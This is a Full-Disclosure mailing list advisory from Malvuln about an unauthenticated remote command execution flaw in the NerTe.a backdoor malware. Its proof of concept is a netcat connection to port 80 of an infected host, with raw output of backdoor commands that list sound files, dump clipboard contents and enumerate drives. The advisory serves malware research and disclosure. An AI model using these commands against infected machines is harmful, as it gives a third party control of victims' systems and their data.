full-disclosure - [FD] Backdoor.Win32.NerTe.a / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WRqzmf2ijhLUjK=cXiMAza6nt-9V1txVCmHUSbuq8Uw5g@mail.gmail.com>
Date: Mon, 12 Jul 2021 22:18:12 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.NerTe.a / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/125364b0cdae80c10f00b75c8e2cfa47_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NerTe.a
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 21, 80 and drops an
executable under Windows dir. Third-party attackers who can reach infected
systems can connect to port 80 and run commands made available by the
backdoor to retrieve information etc
Type: PE32
MD5: 125364b0cdae80c10f00b75c8e2cfa47
Vuln ID: MVID-2021-0286
Dropped files: TaskMonitors.exe
Disclosure: 07/12/2021

Exploit/PoC:
nc64.exe x.x.x.x 80

VERSIJ7.9.0_b2_ntñnoñVictimñDESKTOP-2C4JQHO╢GETSND

Get Sounds)
GETSNDñññññññññññññññññC:\a\17.wavñC:\a\18.wavñññC:\a\21.wavñC:\a\22.wavññC:\a\23.wavñC:\a\24.wavñññññññC:\a\29.wavñC:\a\30.wavññC:\a\31.wavñC:\a\32.wav╢

Get Clipboard data)
GETCLB
GETCLB*************** Clipboard **************ñTomorrow West broadway and
29thñ*************** End **************╢

nd **************╢GETRST
MSGERRYour client too old.
Please update from:
http://nerte.free-hosting.lt

MSGUnknown command╢GETDRV
GETDRVC:\?D:\╢GETCOL

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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